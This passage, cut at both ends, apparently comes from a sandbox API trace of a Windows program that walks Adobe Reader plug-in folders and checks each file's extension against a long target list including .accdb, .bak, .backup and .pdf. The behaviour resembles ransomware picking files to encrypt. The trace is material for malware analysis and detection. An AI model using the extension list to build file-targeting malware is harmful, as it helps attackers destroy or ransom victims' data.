lpString2=".pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".p7b", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".p7c", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pam", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pbm", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pct", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pcx", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pdd", lpString2=".pdf") returned -1 [0267.494] lstrcmpiW (lpString1=".pdf", lpString2=".pdf") returned 0 [0267.494] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0267.495] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0267.495] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0267.495] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0267.495] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".accda", lpString2="es.pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".accdb", lpString2="es.pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".accdc", lpString2="es.pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".accde", lpString2="es.pdf") returned -1 [0267.496] lstrcmpiW (lpString1=".accdt", lpString2="es.pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".accdw", lpString2="es.pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0267.497] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".anim", lpString2="s.pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0267.498] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".ascx", lpString2="s.pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".asmx", lpString2="s.pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".aspx", lpString2="s.pdf") returned -1 [0267.499] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".backup", lpString2="ces.pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1 [0267.500] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1 [0267.501] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1 [0267.501] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1 [0267.501] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1 [0267.501] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1 [0267.501] lstrcmpiW (lpString1=".c", lpString2="df") returned -1 [0267.501] lstrcmpiW (lpString1=".cdr", lpString2=".pdf") returned -1 [0267.502] lstrcmpiW (lpString1=".cer", lpString2=".pdf") returned -1 [0267.502] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0267.532] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0267.532] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0267.533] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0269.879] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.879] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0269.879] lstrlenW (lpString="Dynamic.pdf") returned 11 [0269.879] lstrlenW (lpString=".1cd") returned 4 [0269.880] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0269.880] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0269.880] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0269.881] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned 79 [0269.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0270.098] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.098] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0270.098] lstrlenW (lpString="Dynamic.pdf") returned 11 [0270.098] lstrlenW (lpString=".1cd") returned 4 [0270.099] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0270.099] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0270.099] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0270.099] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned 79 [0270.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0270.129] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.129] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0270.130] lstrlenW (lpString="Dynamic.pdf") returned 11 [0270.130] lstrlenW (lpString=".1cd") returned 4 [0270.130] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0270.130] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0270.130] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0270.131] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned 79 [0270.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0270.138] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.138] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0270.138] lstrlenW (lpString="Dynamic.pdf") returned 11 [0270.139] lstrlenW (lpString=".1cd") returned 4 [0270.139] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0270.142] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0270.142] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0270.142] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned 79 [0270.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0271.787] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.787] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0271.788] lstrlenW (lpString="Dynamic.pdf") returned 11 [0271.788] lstrlenW (lpString=".1cd") returned 4 [0271.788] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0271.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0271.791] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0271.791] lstrlenW (lpString="Words.pdf") returned 9 [0271.791] lstrlenW (lpString=".1cd") returned 4 [0271.791] FindClose (in: hFindFile=0x6243c0 | out: hFindFile=0x6243c0) returned 1 [0271.792] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0271.792] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0271.792] FindClose (in: hFindFile=0x624400 | out: hFindFile=0x624400) returned 1 [0271.792] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a3f98 | out: hHeap=0x590000) returned 1 [0271.798] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0271.799] lstrlenW (lpString="Annots.api") returned 10 [0271.799] lstrlenW (lpString=".1cd") returned 4 [0271.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0272.440] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0272.440] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned 71 [0272.444] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.447] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.447] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0272.447] lstrlenW (lpString="Flash.CAT") returned 9 [0272.447] lstrlenW (lpString=".1cd") returned 4 [0272.467] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.470] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.470] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0272.470] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned 75 [0272.470] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.471] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.471] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, 